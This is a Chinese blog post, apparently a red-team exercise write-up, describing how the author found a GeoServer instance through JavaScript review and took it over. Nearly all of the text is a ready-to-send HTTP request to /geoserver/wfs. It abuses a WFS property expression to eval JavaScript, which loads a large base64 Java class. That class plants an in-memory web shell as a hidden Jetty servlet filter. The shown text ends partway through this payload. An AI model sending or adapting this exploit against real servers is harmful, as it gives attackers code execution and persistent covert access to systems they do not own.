记一次hvv实例

admin 2024年7月31日15:35:37评论58 views字数 21696阅读72分19秒阅读模式
 0x01
                                   从js到打入内存马

之前跑过一遍指纹,发现没有什么软柿子,只好手动去js那边新看看有什么东西,js审计发现geoserver服务

记一次hvv实例熟悉的页面,熟悉的版本,天助我也

记一次hvv实例

POST /geoserver/wfs HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36Accept-Encoding: gzip, deflate, brAccept: */*Connection: closeHost: Accept-Language: en-US;q=0.9,en;q=0.8Cache-Control: max-age=0Content-Type: application/xmlContent-Length: 20386<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'>  <wfs:Query typeNames='sf:archsites'/>  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'var str="yv66vgAAADEBvgEADmphdmEvbGFuZy90ZXN0BwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEADWdldFVybFBhdHRlcm4BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBAAIvKggACAEADGdldENsYXNzTmFtZQEAL2NvbS5mYXN0ZXJ4bWwuamFja3Nvbi5TZXJ2bGV0UmVxdWVzdFRxcm50RmlsdGVyCAALAQAPZ2V0QmFzZTY0U3RyaW5nAQAKRXhjZXB0aW9ucwEAE2phdmEvaW8vSU9FeGNlcHRpb24HAA8BABBqYXZhL2xhbmcvU3RyaW5nBwARARB0SDRzSUFBQUFBQUFBLzUxWUMzeGJWUm4vbnlUTlRkUHMxYkJIMXIwWWJFdWJ0bGxITjdaMmd6NDJXRjNUalhVUHUvRzZUVy9iYkdtU0pqZGRpdzk4b0NBK1VYeWdPSFdLODRFNE5raFhKakJmb0NBaWdvS0krSDQvRUJVVlJlci8zSHVUcGttN29iKzI5NTU3enZmNGY5LzV2dTk4cHcrOWZNOTlBT3JFWm9GZ09ENFE3RlZUdXBZY0hvZ0dENmpoZzZsNExOaXBKWWVpbXI1VEcweHJLWDNYWURLbVh4S0pra2lCRUpoN1FCMVNnMUUxMWhkc2phcXBWSHRjN1pGTGRvRno1Tkp3TUdYeUI3Tk1KUUxPalpGWVJMOUl3TzZ2M0NQZ2FJMzNhQUt6MmlNeHJTTTkwSzBsZDZuZFVjNlV0OGZEYW5TUG1vekliMnZTb2ZkSFVnSjE3ZjhqM0VZUEZMamNjR0Ntd0VKLys1VEFHeVVlY1kzQS9HbldwWkRaVW9pWE5CTWtuWG95RXV0clNVZWlodlZ6M1pnbjFUZ1M1SlIyRkZKU3pnTDRTbUhEUXJwRFRTUzBXSTlBamIrWXNMSm95dEpDRVl1d1dDcGFRa2NlMUVZOFdHYUtQRmZBcGNkTlltNkR2MWdFZWMvRCtaSjNCWGtIZXRZS3JIeEZ1c200Q240M2xWVEtrYUV1UUk5ZHhranc3MitwTFBSYW80QXQzTTNIL2hhQnNoNnRsMXRzTE5CN3BHOXJLK2J3b0E1cnBJY3ZvTnhoQVlWMCt5b2x2M2VDZE10d1dFdm9rWGhNd1lVa0MxTjl1eGx1NGVSSVFvOEhXeU9KZnZxSVd6Q2tKdXV6eXdYTVhCWkVJZ2I0dDAvQmFrdEZnUkFGelFJek9uVUdXRWhOV0ZGb2I5N1M2UUt6cHF4UDA5dGlLVjJOaFRsZE9hMFhDNUY1Y0FrdWRhTUZXd1dXVGlKSUpiUXd3emljMVBSdDJrZ252eFM4U21CMm9XQUY3ZHhvcW04WjBUV2E0ZkRUU3g1MFlMc2JJZXd3UFR3Rm5EMHlobmU2c1EyZFpKS1pLRW5iVE1xVUZrNG5JL3BJa0tvTjB0M1lJMUh1NVViMHhDK0p4TlFvQTFadXRkVFZoWDF5Y2IvQTRnTDJrSlpLcVgzYTVrZ2ZzNUIrdHRNYVBrT2IxN3B3bFVERkdhZ1ZxRXp2NmNOeEdoM1NvV0UzdXNGRWNrYTFXSi9lYnhTWU5nOTYwU2Rkd205bk90R2o2cG9aVll3K0duZ0FCeVZYMUNwWXdRRlY3dysyUlByYVlycldKM2MvUnJZZVE0Y0hDZW5jYmd4S0g3VFJDWVl2VTI3RW9jc01hSnNtMVlZa3hTRUdpeDdmelZ4UHRxb3B6WU1SbVlJaHNOcDR1am14cm41TExHeFV3bmtGcVdSSkltcVRJam01cEd6dlBxQ0ZwWk9kcGhpQk9WUGtvVXlFZGN6RWJvWkt5WkFhVFd0V1ROV205VWkwdHNWZ2RlRXRMTVFGekFxdXArcmVlTEpESFNEVGlyTlVpbXdhdncwM3VuRUQzaTdnWnBCYXlGMTRKOEh2THlKWDhHNkJVdEtGTkwwL3ppMXNta0pMTVZ1KzNxVFdHNlVmZ3FZRUFyZ0o3NVVBM3NlMDNsL3NMZ1h2RjFnd0hidUNEOUtma2RoUS9DQk4zdUF2NXA5Q1pHWHhsQWUzNE1OdWZBZ2ZtWlRCNXFxQ2o1b1piSlZFcjM4cVAzNE1IM2ZqTUQ0aE1GTXpuTGpMcXUwdWZKS3hra3JIYWdjaXFYQnRTM1BubG13TTBjKzNNZHhpMnFHSjJqVDVJTWpoTzRyUFNDOTlsdWFhNGwzNFBMY3NWeVNKeXlVelg1NmhBdnY5N1pPUDljbm5iZU4wcTZrRUpXbUZ5NmJVMW40MUVqTk8zbVVUK0V6Y2VrU1ZHUExLL2JISlZOR28xcWRHbThOaDFvSThxdU9zNkwzOG85bjVXN2ZUM09QSWtMYWRXVGhadE13Zk5abmNubVltTHpWNUl2R2dySzNOeWFRNnd2bEVXcWZqTlhWQVptS0tDc2xGTkFVMjlldDZJcmlWajA2VFFxWWVhdzVyMnN6VUpGOEpMRG16TDVtSnFjbit5eUtiM3NITTdiQjBKMHZzR1h4Ti9Na3NpRlhUNHk5QTQwcm1ZQlJHUVRGVERzK2lNOW1vNEFHZUhXYzBTY0UzQkh6VDJxTGdJWmFrVjJTQ2dtK3h6M2xsd0JWOG0vdHo1cDFWOEIwTC9MU1JvdUM3bHNxekI2Q0NKNWgzL1pyc00yV2w5ZUQ3Wm9QMXBGa1p0eG9ySHZ3QS9qSThncWVaM3lieEhsbk1QWGpHcFA0Uk55b2NqK24wRFZPM1lsS2oyNjhtTzZVdldBOGFLL2Q1OEdQOFJKNUFQelZMZEdjMnBKZjdLODhXMUI3OEhMK1FNSDdKMDR1OE85UWtJZXNTMzY5TmZML0pIV3VidGV5eE5zWEJJZHVJMytIM3NxWDhnd2Ryc1U2Ty9zUUFUYWdqVWZiY0x2eloxTkNzazZNN0xRL3ZzL1dxdWRyMkYveTFESS9oYjh5OWJKVTErM2hHVkhHdHpiWDRmOGMvWkVuOHA0VGk5YUFHdFhMMGIrSklUY0t4YWdvY1U1d0tiQkwrZzVjbGtIRTZPcEgxVk1vbGhIVFV1QnVQRzNlU3ZEQkpzL0lOYUJPaElYaHJXcEN2YlZkL01uNUl0cUptUHljVXQzQUtsNnpoZzJrMW1wTE55QlJJOW5tRVc1VHhOQkVlTTZiMnNwR1MzcGlmOVFZRGVRZnRzQllhUFdLbW1GV0dSOFZzMHFmUzNTbnJVakhQM3pabHJ5UEtoWmNSSmM3SmR1dVQ1U2xpSGd2VUlUa3VRRGpSbklvRnd1Y1c4OFZDZWVpdE1IcW1YR3A1eEdMWmdEMHVsbmp3V3J5T3V5S1dVYWZzcjBKaWVhNXArSDlQSituS084VDVaWGhZckNqS2ZvczRiMDlXNVJuWnRqMXZvVkpXNGFoNnpUV3lhZGFzamszMlg3eG4yZW5DNGxQYlRKR2tTd1FaWkNaTFM3cTNWODdVbWNtWm83aEF0cVBHaDB0UTN0SkNrNjNhR0kvMVJ2cU1ROVhUbXpmRGVud21lZ013RWNaSFdFVTJocVBXUGQxMWFMajdLbDR5ZEpmWXlENm1ya2V0NjlVdTFNTGhOZDFhWFYyOVM1REd2WnNTYTVyN3RCaXBtdWlCenZpaCtMQkx0T0JjSm84RGhJMFNsTXBiSXdDWHZQOGE3MlhHVzhoaVo3eWZNZDVsSFBHNnptY3B2NW9wUWZEdHJSckZyQ3F2YUw0YlQvSFZlamVldlpQVE5yajVsRGtLaWl1bndqS09QQ1lMM3pNTXdieTRXK0tpcEpTMHE2c0Nvemhuc3J4VG1OYzFpdm5IVVpIQjB1Tll6bWNHSzAraTZnU3FKM1ROaEozUDh5bDlCWUpZYWVpYlo4cTA5TW5SSEdKaEV5SUxpS1Y1RXgwaHFVcXJBdmJBZmFPb1A1WVQ2VFRnVnVhSktzMkpLcVdTMVlZb0ZraEwxSlBrY1BBZEtOOXlFbTBkTll0dWdlSTRDa2ZKS1d6ck1vQmZWcjVsRkxzeWVIVk5JSVBMajNXSVk0WUtYdUN4bnZqZGhxSVNQb01VdFJyTGVmSDJZdzBoWEdDQXFPZWFrN01iMEVEcVNrSnF4RWJEN2tBT1dJQVdyVGFrQm5BUkxpWk5LOGVrR3Njc09CVFlGRFFKaFZkRStSam5VdjRjQnkxaUhQTmh0eVlsMVhvalJQeVdrYlRIMExoYXRKZGZmUkphcUxxS2R0bjVpR1F3Y0FyeExrZDFCc2xScEdmUHptQTRnOWUwa3lVVWtKYmFVRVhQWnkxZHd2MEh2MnkweGtWTDVoSmxGVEhYMElKYUlpOHpZc2ZPdGVXY3ZjTGF5MDFHTU5wSWNTVkh3ckRPQzlzNDJZZzR4RjhUTThHeUhwR1FvRVdiRWVuQU1FRy85U1RlRWFvdWY1YzRqZmRrY0hNMTN4L0k0TmFPbWd5T2xIL0tjUzl1NkxLWE4zVnlxWVlmaDd2c1ZSemZlaG9oMnJHaG8velRCbnNHbjJ0dytCeVM1Zlo4RnAramlLZWt3VUhqWlhodlFoT0JOV01RZXM0SmE3aHhvQkUyM3BWZHVCUVYyRXE2SGFSc0krVTJ6clRUb2hCNXRwT3JBME80ekhETVZqcXZnbzU1UGE0MVhMUWViOEFiS1NYRUZKQnpEbkxXV0hQTmpORTNXWUV5akRmVGlkS0JRN2d1NThCS0dSNU54cFpuSFRqT21ITlkzOUtmY3U1RmtuOUJoZ3pmbk1FZCtLTHBZTnZ0ZEM5aGlVV0IwM2lrd1ZGOUdvODJsUGdjVlhmaHFUSDgwSVlIOEZ6ZUZ3ZlBadkN6Vy9DMHp6R0dYd2swT0t0OERpYjRHSDVyUXdaL2JGQ3FmSW85ZytjYUZKK3ovUGt4dkdERGcxZ3V4NmRnNjJLd0hjbmd4Vkg4eTZkazhOSVlhempqOGthZnd5dHNQbVZNMk8wNGhjZTdSb1dqd1pYalA0MGI1SzZWSHNXc0J2Y3A0ZXp5dVVkRjZmMitVcDhySTJiczVkdGh2RXZHeEJ5QjQ2aTJNNERGM0l5bzhKVm14S0xzUXBVa1g4cWRmKzZrT0ZjdTV1Z2wrWG1jT1lxeW1rRDFtRmdwUWMxb2NHWS83aVRLbTNBRXQzRmt2azlBbnVaemNzRndBQXY1M01OZzNRdjVyNXdnOW5GdFB6ZjdjbTc3RmZ5NWtrRjlOUnNobFJKNktLT1BValNxNmFYTWZvemhJTDdNV3ZvRUJ2QTBZbmdlY1dGSFVqaVJFak54aUpyU3dvc2hVWUVSSTRpdVk4MDRRdDEzTVdCS0tjV051K2w5TjJVbk1ZcVRES3M3c2ROYVhZK0hLZjhlWXR0SzU1NWlFQ21VNVNMSFJzNXg1N01WaUtNdjRWNVpnVGk2RC9mTHZPWG9OSkhaNFJUejhCVjhsUkhrRWJQeE5YeWRjZE5xMUgvWE9FMXpHV1huUVFYZlZQQ3dna2NVUEtyZ01VWWhNTTRLVkRyZHNzSitqUUg2dlpkUXB1RHdPSjNsTENabG1Db3RqT0pTSTRhZDdGVDhvb280MmV1YVVZd1hyREl4NkJXcmpUVDNpalZXZG9ka2RzdTBOL003WU9aM0UzK1BoWXlTMGxIakZmWDJlMldRM1N6NFBrd0NxMFI0eGJwOEtka2FrUy9ES05qVmVjVnhvWFFxNjVmQ2JLN2hCdFF5bCt1WnpXM01aTGwxRjNGZHdVb1JNREs4SHB1TWtaM3JmbEZ0NUg4dFdrVU5OMGVXemNIYzhUQW9hbk5aei9OdFFLWjJma3J2RmhkYXpsaHJWQW51M2NRWmF4NkkxK2NkaUNJbldJajFZc05FZlJBOEwwUkRybDBJR0xSVENMc3hyekhJQ25PSnhoempGa01OSzVSWGJEcUJDcSs0K0FTV242MGpFTG51dzRQRmpKc2x3SDhCbDhKbmRGY1pBQUE9CAATAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAAVABYKABIAFwEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HABoBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAZmaWx0ZXIBABJMamF2YS9sYW5nL09iamVjdDsBAAdjb250ZXh0AQAIY29udGV4dHMBABBMamF2YS91dGlsL0xpc3Q7AQAEdGhpcwEAEExqYXZhL2xhbmcvdGVzdDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAOamF2YS91dGlsL0xpc3QHACcBABJqYXZhL3V0aWwvSXRlcmF0b3IHACkBAA1TdGFja01hcFRhYmxlDAAVABkKAAQALAEACmdldENvbnRleHQBABIoKUxqYXZhL3V0aWwvTGlzdDsMAC4ALwoAAgAwAQAIaXRlcmF0b3IBABYoKUxqYXZhL3V0aWwvSXRlcmF0b3I7DAAyADMLACgANAEAB2hhc05leHQBAAMoKVoMADYANwsAKgA4AQAEbmV4dAEAFCgpTGphdmEvbGFuZy9PYmplY3Q7DAA6ADsLACoAPAEACWdldEZpbHRlcgEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAA+AD8KAAIAQAEACWFkZEZpbHRlcgEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgwAQgBDCgACAEQBAA1nZXRGaWx0ZXJOYW1lAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAAxsYXN0RG90SW5kZXgBAAFJAQAJY2xhc3NOYW1lAQASTGphdmEvbGFuZy9TdHJpbmc7AQABLggATAEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaDABOAE8KABIAUAEAC2xhc3RJbmRleE9mAQAVKExqYXZhL2xhbmcvU3RyaW5nOylJDABSAFMKABIAVAEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwwAVgBXCgASAFgBAAtfZmlsdGVyTmFtZQEAAWkBAAFqAQAOc2VydmxldEhhbmRsZXIBABFmaWx0ZXJIb2xkZXJDbGFzcwEAEUxqYXZhL2xhbmcvQ2xhc3M7AQALY29uc3RydWN0b3IBAB9MamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7AQAMZmlsdGVySG9sZGVyAQAKZmlsdGVyTWFwcwEADXRtcEZpbHRlck1hcHMBABNbTGphdmEvbGFuZy9PYmplY3Q7AQABbgEAC21hZ2ljRmlsdGVyAQAKZmlsdGVyTmFtZQEAC2ZpbHRlckNsYXNzAQAPamF2YS9sYW5nL0NsYXNzBwBqAQAdamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3IHAGwHAGUMAAoABgoAAgBvDABGAEcKAAIAcQEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwwAcwB0CgAEAHUBAA9fc2VydmxldEhhbmRsZXIIAHcBAAVnZXRGVgEAOChMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9PYmplY3Q7DAB5AHoKAAIAewEAB2dldE5hbWUMAH0ABgoAawB+AQAKaXNJbmplY3RlZAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZzspWgwAgACBCgACAIIBAA5nZXRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAIQAhQoAawCGAQAmb3JnLmVjbGlwc2UuamV0dHkuc2VydmxldC5GaWx0ZXJIb2xkZXIIAIgBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAIoBAAlsb2FkQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7DACMAI0KAIsAjgEADmdldENvbnN0cnVjdG9yAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7DACQAJEKAGsAkgEAC25ld0luc3RhbmNlAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DACUAJUKAG0AlgEAB3NldE5hbWUIAJgBAAxpbnZva2VNZXRob2QBAF0oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAJoAmwoAAgCcAQAUYWRkRmlsdGVyV2l0aE1hcHBpbmcIAJ4BABFqYXZhL2xhbmcvSW50ZWdlcgcAoAEABFRZUEUMAKIAXwkAoQCjDAAFAAYKAAIApQEAB3ZhbHVlT2YBABYoSSlMamF2YS9sYW5nL0ludGVnZXI7DACnAKgKAKEAqQEAD19maWx0ZXJNYXBwaW5ncwgAqwEAF2phdmEvbGFuZy9yZWZsZWN0L0FycmF5BwCtAQAJZ2V0TGVuZ3RoAQAVKExqYXZhL2xhbmcvT2JqZWN0OylJDACvALAKAK4AsQEAA2dldAEAJyhMamF2YS9sYW5nL09iamVjdDtJKUxqYXZhL2xhbmcvT2JqZWN0OwwAswC0CgCuALUIAFoBAANzZXQBACgoTGphdmEvbGFuZy9PYmplY3Q7SUxqYXZhL2xhbmcvT2JqZWN0OylWDAC4ALkKAK4AugEAFWludmFsaWRhdGVDaGFpbnNDYWNoZQgAvAwAmgB6CgACAL4BACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcAwAEAK2phdmEvbGFuZy9yZWZsZWN0L0ludm9jYXRpb25UYXJnZXRFeGNlcHRpb24HAMIBAB9qYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uBwDEAQAgamF2YS9sYW5nL0lsbGVnYWxBY2Nlc3NFeGNlcHRpb24HAMYBACRqYXZhL2lvL1Vuc3VwcG9ydGVkRW5jb2RpbmdFeGNlcHRpb24HAMgBABJjb250ZXh0Q2xhc3NMb2FkZXIBAAZ0aHJlYWQBABJMamF2YS9sYW5nL1RocmVhZDsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAzgEAEGphdmEvbGFuZy9UaHJlYWQHANABABNqYXZhL3V0aWwvQXJyYXlMaXN0BwDSCgDTACwBABFnZXRBbGxTdGFja1RyYWNlcwEAESgpTGphdmEvdXRpbC9NYXA7DADVANYKANEA1wEADWphdmEvdXRpbC9NYXAHANkBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwwA2wDcCwDaAN0BAA1qYXZhL3V0aWwvU2V0BwDfAQAHdG9BcnJheQEAKChbTGphdmEvbGFuZy9PYmplY3Q7KVtMamF2YS9sYW5nL09iamVjdDsMAOEA4gsA4ADjAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAmKExqYXZhL2xhbmcvVGhyZWFkOylMamF2YS9sYW5nL09iamVjdDsMAOUA5goAAgDnAQATaXNXZWJBcHBDbGFzc0xvYWRlcgEAFShMamF2YS9sYW5nL09iamVjdDspWgwA6QDqCgACAOsBAB9nZXRDb250ZXh0RnJvbVdlYkFwcENsYXNzTG9hZGVyDADtAD8KAAIA7gEAA2FkZAwA8ADqCwAoAPEBABBpc0h0dHBDb25uZWN0aW9uAQAVKExqYXZhL2xhbmcvVGhyZWFkOylaDADzAPQKAAIA9QEAHGdldENvbnRleHRGcm9tSHR0cENvbm5lY3Rpb24MAPcA5goAAgD4AQAJU2lnbmF0dXJlAQAmKClMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsIAOUBAAtjbGFzc0xvYWRlcgEAEVdlYkFwcENsYXNzTG9hZGVyCAD+AQAHaGFuZGxlcgEACF9jb250ZXh0CAEBAQAPX2NvbnRleHRIYW5kbGVyCAEDAQAOaHR0cENvbm5lY3Rpb24BAAVlbnRyeQEADHRocmVhZExvY2FscwEABXRhYmxlCAEHCAEIAQAFdmFsdWUIAQsBAA5IdHRwQ29ubmVjdGlvbggBDQEAC2h0dHBDaGFubmVsAQAHcmVxdWVzdAEAB3Nlc3Npb24BAA5zZXJ2bGV0Q29udGV4dAEADmdldEh0dHBDaGFubmVsCAETAQAKZ2V0UmVxdWVzdAgBFQEACmdldFNlc3Npb24IARcBABFnZXRTZXJ2bGV0Q29udGV4dAgBGQEABnRoaXMkMAgBGwEAGEh0dHBDb25uZWN0aW9uIG5vdCBmb3VuZAgBHQoAGwAXAQAJY2xhenpCeXRlAQACW0IBAAtkZWZpbmVDbGFzcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAFY2xhenoBAAJlMQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEAAWUBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwwBKQEqCgDRASsMAOUAhQoA0QEtDACUADsKAGsBLwwADQAGCgACATEBAAxkZWNvZGVCYXNlNjQBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCDAEzATQKAAIBNQEADmd6aXBEZWNvbXByZXNzAQAGKFtCKVtCDAE3ATgKAAIBOQgBIgcBIQEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwBPQE+CgBrAT8BABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHAUEBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwBQwFECgFCAUUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAUcBSAoBQgFJAQAPcHJpbnRTdGFja1RyYWNlDAFLABkKABsBTAEAD2ZpbHRlckNsYXNzTmFtZQEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCAFUAQAHZm9yTmFtZQwBVgCNCgBrAVcBAAxkZWNvZGVCdWZmZXIIAVkBAAlnZXRNZXRob2QMAVsBPgoAawFcAQAQamF2YS51dGlsLkJhc2U2NAgBXgEACmdldERlY29kZXIIAWABAAZkZWNvZGUIAWIBAA5jb21wcmVzc2VkRGF0YQEAA291dAEAH0xqYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbTsBAAJpbgEAHkxqYXZhL2lvL0J5dGVBcnJheUlucHV0U3RyZWFtOwEABnVuZ3ppcAEAH0xqYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbTsBAAZidWZmZXIBAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBbAEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HAW4BAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBcAoBbQAsAQAFKFtCKVYMABUBcwoBbwF0AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAAVAXYKAXEBdwEABHJlYWQBAAUoW0IpSQwBeQF6CgFxAXsBAAV3cml0ZQEAByhbQklJKVYMAX0BfgoBbQF/AQALdG9CeXRlQXJyYXkBAAQoKVtCDAGBAYIKAW0BgwEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAYkBigoAAgGLAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAY0KAY4BRQwAswA/CgGOAZABAB5qYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb24HAZIBACBMamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uOwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAZUBlgoAawGXAQANZ2V0U3VwZXJjbGFzcwwBmQB0CgBrAZoKAZMAFwEADHRhcmdldE9iamVjdAEACm1ldGhvZE5hbWUBAAdtZXRob2RzAQAbW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAhTGphdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEACnBhcmFtQ2xhenoBABJbTGphdmEvbGFuZy9DbGFzczsBAAVwYXJhbQEABm1ldGhvZAEACXRlbXBDbGFzcwcBoAEAEmdldERlY2xhcmVkTWV0aG9kcwEAHSgpW0xqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7DAGpAaoKAGsBqwoBQgB+AQAGZXF1YWxzDAGuAOoKABIBrwEAEWdldFBhcmFtZXRlclR5cGVzAQAUKClbTGphdmEvbGFuZy9DbGFzczsMAbEBsgoBQgGzCgDFABcBABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgcBtgEACmdldE1lc3NhZ2UMAbgABgoAxwG5CgG3ABcBAAg8Y2xpbml0PgoAAgAsACEAAgAEAAAAAAAVAAEABQAGAAEABwAAAA8AAQABAAAAAxIJsAAAAAAAAQAKAAYAAQAHAAAAEAABAAEAAAAEEwAMsAAAAAAAAQANAAYAAgAOAAAABAABABAABwAAABcAAwABAAAAC7sAElkTABS3ABiwAAAAAAABABUAGQABAAcAAADYAAMABQAAADYqtwAtKrYAMUwruQA1AQBNLLkAOQEAmQAbLLkAPQEATiottwBBOgQqLRkEtgBFp//ipwAETLEAAQAEADEANAAbAAQAHAAAACYACQAAACMABAAlAAkAJgAgACcAJwAoAC4AKQAxACwANAAqADUALgAdAAAAKgAEACcABwAeAB8ABAAgAA4AIAAfAAMACQAoACEAIgABAAAANgAjACQAAAAlAAAADAABAAkAKAAhACYAAQArAAAAGgAE/wAQAAMHAAIHACgHACoAAPkAIEIHABsAAAEARgBHAAEABwAAAG0AAwADAAAAGisSTbYAUZkAEisSTbYAVT0rHARgtgBZsCuwAAAAAwAcAAAAEgAEAAAAMQAJADIAEAAzABgANQAdAAAAIAADABAACABIAEkAAgAAABoAIwAkAAAAAAAaAEoASwABACsAAAADAAEYAAEAQgBDAAIABwAAAtIABwAPAAABKCoqtgBwtgByTiy2AHY6BCsSeLgAfDoFGQUZBLYAf7gAg5kABLErtgB2tgCHEom2AI86BhkGBL0Aa1kDEmtTtgCTOgcZBwS9AARZAxkEU7YAlzoIGQgSmQS9AGtZAxISUwS9AARZAy1TuACdVxkFEp8GvQBrWQMZBlNZBBISU1kFsgCkUwa9AARZAxkIU1kEKrYAplNZBQS4AKpTuACdVxkFEqy4AHw6CRkJuACyvQAEOgoENgsDNgwVDBkJuACyogA+GQkVDLgAtjoNGQ0St7gAfMAAEjoOGQ4ZBLYAf7YAUZkADBkKAxkNU6cADRkKFQsZDVOECwGEDAGn/74DNgwVDBkKvqIAFRkJFQwZChUMMrgAu4QMAaf/6RkFEr24AL9XpwAFOgWxAAIADwAkASUAGwAlASIBJQAbAAMAHAAAAHIAHAAAADoACQA8AA8APgAXAEEAJABCACUARQAzAEYAQwBHAFMASABsAEwAnwBOAKgATwCyAFAAtQBRAMIAUgDLAFMA1wBUAOQAVQDtAFcA9ABYAPcAUQD9AFsBCABcARQAWwEaAGABIgBjASUAYgEnAGQAHQAAAKIAEADLACwAHgAfAA0A1wAgAFoASwAOALgARQBbAEkADAEAABoAXABJAAwAFwELAF0AHwAFADMA7wBeAF8ABgBDAN8AYABhAAcAUwDPAGIAHwAIAKgAegBjAB8ACQCyAHAAZABlAAoAtQBtAGYASQALAAABKAAjACQAAAAAASgAIAAfAAEAAAEoAGcAHwACAAkBHwBoAEsAAwAPARkAaQBfAAQAKwAAAGgACf4AJQcAEgcAawcABP8AkgANBwACBwAEBwAEBwASBwBrBwAEBwBrBwBtBwAEBwAEBwBuAQEAAP0ANAcABAcAEvkACfoABfwAAgH6ABn/AAoABQcAAgcABAcABAcAEgcAawABBwAbAQAOAAAADAAFAMEAwwDFAMcAyQAAAC4ALwACAAcAAAFCAAMACAAAAHe7ANNZtwDUTLgA2LkA3gEAA70A0bkA5AIAwADPTSxOLb42BAM2BRUFFQSiAEstFQUyOgYqGQa3AOg6ByoZB7cA7JkAEysqGQe3AO+5APICAFenABkqGQa3APaZABArKhkGtwD5uQDyAgBXpwAFOgeEBQGn/7QrsAABADMAagBtABsABAAcAAAAMgAMAAAAZwAIAGgAHQBpADMAawA7AGwARABtAFQAbgBdAG8AagByAG0AcQBvAGkAdQB0AB0AAAA0AAUAOwAvAMoAHwAHADMAPADLAMwABgAAAHcAIwAkAAAACABvACEAIgABAB0AWgDNAM4AAgAlAAAADAAB